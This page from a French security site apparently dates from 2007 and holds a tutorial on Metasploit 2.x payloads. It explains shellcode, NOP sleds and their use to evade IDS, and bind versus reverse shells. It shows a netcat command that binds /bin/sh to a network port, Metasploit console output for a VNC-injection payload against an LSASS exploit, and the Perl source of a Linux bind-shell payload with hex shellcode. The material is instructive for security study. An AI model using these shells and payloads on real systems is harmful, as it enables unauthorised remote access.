Contribuez à SecuObs en envoyant des bitcoins ou des dogecoins.
Nouveaux articles (fr): 1pwnthhW21zdnQ5WucjmnF3pk9puT5fDF
Amélioration du site: 1hckU85orcGCm8A9hk67391LCy4ECGJca

Contribute to SecuObs by sending bitcoins or dogecoins.

Chercher :
Newsletter :  

Revues :
- Presse
- Presse FR
- Vidéos
- Twitter
- Secuobs

Sommaires :
- Tendances
- Failles
- Virus
- Concours
- Reportages
- Acteurs
- Outils
- Breves
- Infrastructures
- Livres
- Tutoriels
- Interviews
- Podcasts
- Communiques
- USBsploit
- Commentaires

Revue Presse:
- Tous
- Francophone
- Par mot clé
- Par site
- Le tagwall

Top bi-hebdo:
- Ensemble
- Articles
- Revue
- Videos
- Twitter
- Auteurs

Articles :
- Par mot clé
- Par auteur
- Par organisme
- Le tagwall

Videos :
- Toutes
- Par mot clé
- Par site
- Le tagwall

Twitter :
- Tous
- Par mot clé
- Par compte
- Le tagwall

Commentaires :
- Breves
- Virus
- Failles
- Outils
- Tutoriels
- Tendances
- Acteurs
- Reportages
- Infrastructures
- Interviews
- Concours
- Livres
- Communiques

- Articles
- Commentaires
- Revue
- Revue FR
- Videos
- Twitter

RSS SecuObs :
- sécurité
- exploit
- windows
- attaque
- outil
- microsoft

RSS Revue :
- security
- microsoft
- windows
- hacker
- attack
- network

RSS Videos :
- curit
- security
- biomet
- metasploit
- biometric
- cking

RSS Twitter :
- security
- linux
- botnet
- attack
- metasploit
- cisco

RSS Comments :
- Breves
- Virus
- Failles
- Outils
- Tutoriels
- Tendances
- Acteurs
- Reportages
- Infrastructures
- Interviews
- Concours
- Livres
- Communiques

- Français
- International

Revue de presse francophone :
- Vigilance - WordPress WP Symposium injection SQL, analysé le 10 08 2015
- Vigilance - WordPress Google Analytics by Yoast Premium Cross Site Scripting, analysé le 10 08 2015
- Vigilance - WordPress Avenir-Soft Direct Download Cross Site Scripting, analysé le 10 08 2015
- Vigilance - WordPress Bookmarkify Cross Site Scripting, analysé le 10 08 2015
- Vigilance - WordPress Monetize Cross Site Scripting, analysé le 10 08 2015
- Vigilance - Joomla WFLab Joomshopping injection SQL, analysé le 10 08 2015
- Vigilance - HTTPS injection de Cookie, analysé le 25 09 2015
- Vigilance - Puppet Enterprise redirection via Console, analysé le 25 09 2015
- Japanese corporations targeted with active malware spam campaign
- Safe Harbor lettre à la CNIL sur la protection des données personnelles
- Wooxo part à la conquête de l'Italie avec Ricoh
- LogMeIn conclut un accord pour le rachat LastPass
- L'utopie numérique est-elle dangereuse pour l'individu
- Axis commercialise une solution de surveillance pour les commerces et bureaux de petite taille
- Le groupe Winnti responsable d'une plate forme d'attaque évoluée infectant des entreprises en Corée du Sud, au Royaume-Uni et en Russie

Dernier articles de SecuObs :
- Renaud Bidou (Deny All): "L'innovation dans le domaine des WAFs s'oriente vers plus de bon sens et d'intelligence, plus de flexibilité et plus d'ergonomie"
- Mises à jour en perspective pour le système Vigik
- Les russes ont-ils pwn le système AEGIS ?
- Le ministère de l'intérieur censure une conférence au Canada
- Saut d'air gap, audit de firmware et (in)sécurité mobile au programme de Cansecwest 2014
- GCHQ: Le JTRIG torpille Anonymous qui torpille le JTRIG (ou pas)
- #FIC2014: Entrée en territoire inconnu
- Le Sénat investit dans les monnaies virtuelles
- #LPM2013: Un nouvel espoir ?
- L'ANSSI durcit le ton

Revue de presse internationale :
- E-Trade notifies 31,000 customers that their contact info may have been breached in 2013 hack
- UK Council investigating claims of data protection breach over eligible pupils at UTC
- Jihadist leaks addresses of Army Sgt. Dillard Johnson, Navy SEAL Rob O Neill
- Open Source FPGA Pi Hat
- Slamdance Festival Co-Founder Has Creative Views on Piracy
- Original Hackers New Satellite in Orbit
- Active Directory authoritative restore with Windows Server Backup wbadmin
- EEVblog 806 Siglent SDG2000X Arb Function Generator First Look
- 64bits Of Development Board
- Over 10,000 Problems Fixed In Detroit Thanks To Cellphone App
- The Maryland STEM Festival 2015
- How NOT to be a Victim of Social Engineering Cyveillance
- CO Juvenile arrested in connection to threats made at Rangeview High School
- BOO Teach Arduino Basics With this Fun Ghost
- IE Gorey Credit Union says accounts not affected by email gaffe

Annuaire des videos
- Official Maltego tutorial 5 Writing your own transforms
- Official Maltego tutorial 6 Integrating with SQL DBs
- Official Maltego tutorial 3 Importing CSVs spreadsheets
- install zeus botnet
- Eloy Magalhaes
- Official Maltego tutorial 1 Google s websites
- Official Maltego tutorial 4 Social Networks
- Blind String SQL Injection
- backdoor linux root from r57 php shell VPS khg crew redc00de
- How To Attaque Pc With Back Track 5 In Arabique
- RSA Todd Schomburg talks about Roundup Ready lines available in 2013
- Nessus Diagnostics Troubleshooting
- Panda Security Vidcast Panda GateDefender Performa Parte 2 de 2
- MultiPyInjector Shellcode Injection

Revue Twitter
- RT @fpalumbo: Cisco consistently leading the way ? buys vCider to boost its distributed cloud vision #CiscoONE
- @mckeay Looks odd... not much to go on (prob some slideshow/vid app under Linux)
- [SuggestedReading] Using the HTML5 Fullscreen API for Phishing Attacks
- RT @BrianHonan: Our problems are not technical but cultural. OWASP top 10 has not changed over the years @joshcorman #RSAC
- RT @mikko: Wow. Apple kernels actually have a function called PE_i_can_has_debugger:
- [Blog Spam] Metasploit and PowerShell payloads
- PinkiePie Strikes Again, Compromises Google Chrome in Pwnium Contest at Hack in the Box: For the second time thi...
- @mikko @fslabs y'all wldn't happen to have lat/long data sets for other botnets, wld you? Doing some research (free/open info rls when done)
- RT @nickhacks: Want to crash a remote host running Snow Leopard? Just use: nmap -P0 -6 --script=targets-ipv6-multicast-mld #wishiwaskidding
- An inexpensive proxy service called is actually a front for #malware distribution -

Revue de presse : security, microsoft, windows, hacker, attack, network, vulnerability, google, exploit, malware, internet, remote, iphone

+ de mots clés pour la revue de presse

Annuaires des videos : curit, security, biomet, metasploit, biometric, cking, password, windows, botnet, defcon, tutorial, crypt, xploit

+ de mots clés pour les videos

Revue Twitter : security, linux, botnet, attack, metasploit, cisco, defcon, phish, exploit, google, inject, server, firewall

+ de mots clés pour la revue Twitter

Top bi-hebdo des articles de SecuObs
- Mises à jour en perspective pour le système Vigik
- IronBee, 150 techniques différentes d'évasion protocolaire pour l'audit automatisé des WAFs
- [Hacking Hardware - Partie 1] - Introduction et présentation
- [Sécurité et PHP - Partie 3] Les failles PHP
- OSSTMM une méthodologie Open Source pour les audits de sécurité
- [IDS Snort Windows – Partie 2] Installation et configuration
- Renaud Bidou (Deny All): "L'innovation dans le domaine des WAFs s'oriente vers plus de bon sens et d'intelligence, plus de flexibilité et plus d'ergonomie"
- [Trames et paquets de données avec Scapy – Partie 1] Présentation
- [Infratech - release] version 0.6 de Bluetooth Stack Smasher
- USBDumper 2 nouvelle version nouvelles fonctions !

Top bi-hebdo de la revue de presse
- Black Hat USA 2014 - Windows Computrace Backdoor Revisited
- Magnet Forensics welcomes new Vice President and General Manager
- De truand à  espion, promotions du cyberespace
- Securosis Lane, Building Security Into DevOps
- NetJapan signe un contrat exclusif pour la France avec Yves Lecomte Sofrad DS
- Single Packet Authorization Threat Modeling
- IBM sécurise l'usage au travail des applications cloud externes
- Breaking .NET encryption with or without Padding Oracle
- Derbycon 2015 - Honeypots for Active Defense
- CVE-2014-4418 apple_tv, iphone_os

Top bi-hebdo de l'annuaire des videos
- Official Maltego tutorial 1 Google s websites
- kali linux Collecte d adresses Email avec Metasploit
- pfSense com samba4 e NTLM
- Tutoriel Supprimer Cacaoweb Botnet
- Avoir des donuts illimit s sur le jeu Simpsons Springfield
- Comment creer un server botnet!!!!(Réseau de pc zombies)
- Bbkeyswin WPA d une Bbox en 2 min sous Windows
- Apple TV 2 FIX SSH exchange identification Connection closed by remote host REMOVE FIX IKEE Virus
- Tutorial 15 pfSense Squid Squidguard Content filtering
- Install IPA using SSH vShare on iPhone iDevices

Top bi-hebdo de la revue Twitter
- Server Error in '/' Application. - Input string was not in a correct format.#websectips Disable stack traces in production. #fixit
- @JosephDawson I was indicating to use Linux as an AV. ;) And if I am not running a client-bound service (mail) I use none. Otherwise ClamAV.
- @michaeldinn I'd have to see some doc to answer not blindly; generally any public cloud can be secured to acceptable tolerances, AMZN too
- RT @PowerDNS_Bert: @kolkman Please don't say DNSSEC would've prevented the problem though ;-)
- who said phreaking is dead. Apparently it's worth 100$ a PBX?!
- As a infosec geek my new favorite band name is Analogue Bell Service, After my phreaking heart...
- Unnamed teenage #security researcher produces full exploit, sandbox escape included, of @Google's Chrome... again:
- @PhoneTrips Sorry, calling him a phreak sullies the term.
- [SuggestedReading] Using the HTML5 Fullscreen API for Phishing Attacks
- @oxbloodruffin then again, what do I know? I was more a phreaker in the 80s.

Top des articles les plus commentés
- [Metasploit 2.x – Partie 1] Introduction et présentation
- Microsoft !Exploitable un nouvel outil gratuit pour aider les développeurs à évaluer automatiquement les risques
- Webshag, un outil d'audit de serveur web
- Les navigateurs internet, des mini-systèmes d’exploitation hors de contrôle ?
- Yellowsn0w un utilitaire de déblocage SIM pour le firmware 2.2 des Iphone 3G
- CAINE un Live[CD|USB] pour faciliter la recherche légale de preuves numériques de compromission
- Nessus 4.0 placé sous le signe de la performance, de l'unification et de la personnalisation
- [Renforcement des fonctions de sécurité du noyau Linux – Partie 1] Présentation
- [IDS Snort Windows – Partie 1] Introduction aux IDS et à SNORT
- Origami pour forger, analyser et manipuler des fichiers PDF malicieux


English version with Google Translate

[Metasploit 2.x – Partie 2] Introduction aux charges utiles (payloads)

Par Rédaction,
Le 28/12/2007

Résumé : Une charge utile est une suite d'instructions qui est envoyée via un exploit pour rediriger le flux d’exécution d'une application faillible afin d'obtenir une invite de commande après compromission. Ces charges peuvent vous permettre entre autres d'exécuter des commandes distantes ou de récupérer une interface graphique. - Lire l'article

Un payload (que nous pourrions traduire par charge utile), au sens de la plateforme Metasploit, est le code envoyé dans l’exploit permettant de rediriger le flux d’exécution de l’application vulnérable pour obtenir un shell (terminal de commande), exécuter une commande distante, récupérer l’interface graphique, lancer un serveur, etc.

La plupart du temps, il s’agit d’un shellcode qui est une suite d’opcodes ( codes propres à la plateforme et au système d’exploitation - lien ) permettant d’exécuter des instructions. Le shellcode ( lien ) est alors copié en mémoire sur la machine distante (via un buffer overflow, un bug de format, etc.) puis le flux d’exécution de l’application faillible est détourné pour le faire pointer sur ce shellcode.

Selon la taille du tampon (buffer) disponible, qui est fonction du bug, il peut être possible d’insérer des opcodes NOP (opcodes n’exécutant aucune tâche, simplement suite de sauts d’instruction NOP en instruction NOP) pour élargir la fenêtre d’exécution.

En effet, il n’est pas toujours évident de connaître l’emplacement en mémoire du shellcode envoyé (sauf pour les bugs de format typiquement), et l’utilisation d’un grand nombre de NOP permet de minimiser les risques d’erreur : le résultat sera identique si le flux est redirigé sur le premier NOP ou sur le 2500e par exemple.

Les opcodes de NOP Intel les plus connus sont 0x90 et 0x41 mais il en existe de nombreux autres, et il est également possible de créer des suites de NOP aléatoires en fonction du nombre de NOP à envoyer, permettant ainsi d’échapper aux IDS/IPS (respectivement Intrusion Detection System et Intrusion Protection System - lien ) qui réagissent à des patterns de ce type.

Une suite équivalente de NOPs pourrait par exemple empiler puis dépiler une valeur sur la pile, ne modifiant pas le comportement de l’application, et ne pouvant donc pas entraîner de crash :

push EAX (opcode 0x50)
pop EAX (opcode 0x58)

Ces deux instructions étant opposées et sans conséquence, nous pourrions remplacer une série de « 0x90 0x90 » (« \x90\x90 ») par « 0x50 0x58 » (« \x50\x58 »). Il existe des générateurs permettant d’automatiser cette tâche ( shellforge - lien ).

Les shellcodes sont également spécifiques aux architectures pour diverses raisons dont des jeux d’instructions différents, des sens de lecture de la mémoire : little/big endian ( lien ), etc.

Un bind shellcode consiste à exécuter sur la machine distante l’équivalent d’un serveur : un port (TCP ou UDP - lien ) se met alors en écoute de connexions entrantes et redirige les flux vers un shell (« /bin/sh » sous GNU/Linux par exemple).

Il est possible de se faire une idée de ce processus grâce à l’outil netcat ( lien ) qui permet de mettre en écoute un shell sur un port TCP :

$ nc –l –p 11000 –c /bin/sh

Commande côté serveur :

$ nc localhost 11000
ven dc 2 19:53:08 CET 2005
nc serveurssh 22
SSH-2.0-OpenSSH_3.8.1p1 Debian-8.sarge.4

Commandes côté client :

Un reverse shellcode permet d’obtenir un comportement de client standard sur la machine exploitée, c'est-à-dire qu’elle établira une connexion sur une machine définie (fixée dans le payload envoyé) et lancera alors un shell que le « serveur » pourra contrôler. Les reverse shellcodes permettent parfois d’outrepasser des règles de filtrage sur des firewalls ( lien ) de niveau 3 ( lien ).

Il est également possible de combiner des attaques de reverse shellcode avec des injections (dans des processus, threads, …) afin de contourner des pare-feux applicatifs. Ces types de shellcodes sont également appelés shellcodes connect back. Plusieurs commandes concernant les payloads sont disponibles dans Metasploit. En voici certaines :

msf > info payload win32_bind_vncinject

Name: Windows Bind VNC Server DLL Inject
Version: $Revision: 1.18 $
OS/CPU: win32/x86
Needs Admin: No
Multistage: Yes
Total Size: 287
Keys: bind

Provided By:
Matt Miller
H D Moore

Listen for connection and inject a VNC server into the remote process

msf lsass_ms04_011(win32_bind_vncinject) > show options

Exploit and Payload Options

Exploit: Name Default Description
-------- ------- ------- ---------------------------------------
required RHOST The target address
optional SMBDOM The domain for specified SMB username
required RPORT 139 The target port
optional SMBUSER The SMB username to connect with
optional SMBPASS The password for specified SMB username

Payload: Name Default Description
required VNCDLL /home/user/Softs/Securite/Progs/metasploit_2.5/data/vncdll.dll The full path the VNC service dll
required EXITFUNC thread Exit technique: "process", "thread", "seh"
required AUTOVNC 1 Automatically launch vncviewer
required VNCPORT 5900 The local port to use for the VNC proxy
required LPORT 4444 Listening port for bind shell

Il est ensuite possible de définir les options normalement : set OPTION [VALEUR].

Localisation et développement

Les payloads de Metasploit sont localisés dans le répertoire « payloads/ ». Leur Rédaction est très simple et il est possible d’implémenter de nouvelles extensions très rapidement. Nous allons détailler ci-dessous le payload linux_ia32_bind qui permet d’exécuter un shellcode sur un port distant défini en argument (set LPORT 12345).

Les premières parties sont « déclaratives » :

package Msf::Payload::linux_ia32_bind;
use strict;
use base 'Msf::PayloadComponent::BindConnection';

Puis les détails qui seront ensuite interfacés dans Metasploit sont définis dans une structure $info. Il s’agit ici d’un payload destiné à des Linux Intel 32 bits ( lien ) sans élévation de privilège (pas de set(r)(e)uid - lien - dans le shellcode) :

my $info =
'Name' => 'Linux IA32 Bind Shell',
'Version' => '$Revision: 1.2 $',
'Description' => 'Listen for connection and spawn a shell',
'Authors' => [ 'skape ', 'vlad902 ' ],
'Arch' => [ 'x86' ],
'Priv' => 0,
'OS' => [ 'linux' ],
'Size' => '',

La taille est ensuite calculée automatiquement dans le constructeur, avec un argument LPORT pour définir le port qui sera mis en écoute (modification d’une partie du shellcode « à la volée » par une couche d’abstraction) :

sub new
my $class = shift;
my $hash = @_ ? shift : { };
$hash = $class->MergeHashRec($hash, {'Info' => $info});
my $self = $class->SUPER::new($hash, @_);
$self->_Info->{'Size'} = $self->_GenSize;

sub Build
my $self = shift;

Le code peut alors être généré et modifié avec les options que l’utilisateur pourra définir. Ici, le choix du port en écoute est fait avec l’argument LPORT qui modifiera les octets concernés. La fonction pack avec le template « n » permet de convertir la valeur passée en argument en entier non signé (unsigned int) de type réseau (big endian).

sub Generate
my $self = shift;
my $port = shift;
my $off_port = 0x14;
my $port_bin = pack('n', $port);
my $shellcode =
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96" .
"\x43\x52\x66\x68\xbf\xbf\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56" .
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1" .
"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0" .
"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" .

substr($shellcode, $off_port, 2, $port_bin);


sub _GenSize
my $self = shift;
my $bin = $self->Generate('4444');

Autres ressources disponibles dans ce dossier :

[Metasploit 2.x – Partie 1] Introduction et présentation – lien

[Metasploit 2.x – Partie 3] Les charges utiles disponibles – lien

[Metasploit 2.x – Partie 4] La charge utile Meterpreter – lien

[Metasploit 2.x – Partie 5] Scripting – lien

[Metasploit 2.x – Partie 6] Méthodologie d’un audit de sécurité – lien

[Metasploit 2.x – Partie 7] Conclusion et webographie – lien

- Article suivant : [Metasploit 2.x – Partie 3] Les charges utiles disponibles
- Article précédent : [Metasploit 2.x – Partie 1] Introduction et présentation
- Article suivant dans la catégorie Tutoriels : [Metasploit 2.x – Partie 3] Les charges utiles disponibles
- Article précédent dans la catégorie Tutoriels : [Metasploit 2.x – Partie 1] Introduction et présentation

Les derniers commentaires publiés pour cet article:
- PDF netcat cheat sheet ...

Les derniers commentaires de la catégorie Tutoriels:
- UPDATE Snort ...
- Apache Issues Patch To Stop Reverse-Proxy Bypass Attack ...
- ESRT @HackerTheDude @r0bertmart1nez @xanda @morenops - Kernel hacking the BSD way, new post ...
- ESRT @room362 - The Dirty Little Secrets They Didn't Teach You In Pentesting Class ...
- ESRT @jcran @dkarg - Metasploit Payloads VS Libemu - Alienvault Labs ...

Les derniers articles de la catégorie Tutoriels :
- PktAnon un framework pour l anonymat des traces PCAP
- [NessusWX – Partie 2] Audits et conclusion
- [NessusWX – Partie 1] Introduction, installation et configuration
- [IDS Snort Windows – Partie 4] Conclusion et webographie
- [IDS Snort Windows – Partie 3] Exemple de fichier de configuration
- [IDS Snort Windows – Partie 2] Installation et configuration
- [IDS Snort Windows – Partie 1] Introduction aux IDS et à SNORT
- [Sécurité et PHP - Partie 5] Astuces
- [Sécurité et PHP - Partie 4] Remote PHP Vulnerabilty Scanner
- [Sécurité et PHP - Partie 3] Les failles PHP

SecuToolBox :

Mini-Tagwall des articles publiés sur SecuObs :

Mini-Tagwall de l'annuaire video :

Mini-Tagwall des articles de la revue de presse :

Mini-Tagwall des Tweets de la revue Twitter :